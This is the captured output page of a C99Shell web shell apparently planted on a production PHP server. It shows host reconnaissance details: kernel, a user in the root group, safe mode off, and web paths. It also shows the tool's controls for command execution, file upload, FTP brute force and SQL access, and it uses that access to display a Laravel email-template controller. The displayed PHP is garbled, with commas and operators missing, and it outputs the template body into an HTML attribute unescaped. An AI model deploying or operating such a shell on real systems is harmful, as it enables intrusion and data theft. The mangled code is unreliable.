!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EmailTemplateController.php (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\EmailTemplate;
use 
Illuminate\Http\Request;

class 
EmailTemplateController extends Controller
{
    public function 
index(){

        return 
view('customer.email_template.index');
    }

    public function 
show(){
        
$email_templates auth('customer')->user()->email_templates()->select(['id''status''title','body']);
        return 
datatables()->of($email_templates)
            ->
addColumn('action', function ($q) {
                return 
"<button class='btn btn-sm btn-primary preview_template' type='button' data-template='".$q->body."'>Preview</button> &nbsp; &nbsp; <a class='btn btn-sm btn-info' href='" route('customer.template.edit', [$q->id]) . "'>Edit</a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this template?"
                                        data-action=' 
route('customer.template.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
addColumn('title', function ($q) {
                
$title substr($q->title070);
                return 
$title;
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }

    public function 
create(){

        return 
view('customer.email_template.create');
    }

    public function 
store(Request $request){
        
$request->validate([
            
'title'=>'required',
            
'status'=>'required',
            
'body'=>'required',
        ]);

        
$customer auth('customer')->user();
        
$request['body'] = clean($request->body);

       
$template $customer->email_templates()->create($request->only('title','status','body'));

        
setActivity(auth('customer')->user()->id'add''email_template'$template->id'New Email Template Created');


        return 
redirect()->route('customer.template.index')->with('success''Email Template Successfully Created');
    }

    public function 
edit(EmailTemplate $template){
        
$data['template']=$template;
        return 
view('customer.email_template.edit'$data);
    }

    public function 
update(EmailTemplate $template,Request $request){
        
$request->validate([
            
'status'=>'required|in:active,inactive',
            
'title'=>'required',
            
'body'=>'required',
        ]);

        
$request['body'] = clean($request->body);

        
$customer auth('customer')->user();
        if (
$template->user_id != $customer->id){
            return 
abort(404);
        }

        
$template->update($request->only('title','status','body'));

        
setActivity(auth('customer')->user()->id'edt''email_template'$template->id'Email Template Updated');


        return 
redirect()->route('customer.template.index')->with('success''Email Template Successfully Updated');
    }

    public function 
destroy(EmailTemplate $template){
        
$customer auth('customer')->user();
        if (
$template->user_id != $customer->id){
            return 
abort(404);
        }

        
$template->delete();
        
setActivity(auth('customer')->user()->id'delete''email_template'$template->id'Email Template Deleted');


        return 
redirect()->route('customer.template.index')->with('success''Email Template Successfully Deleted');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--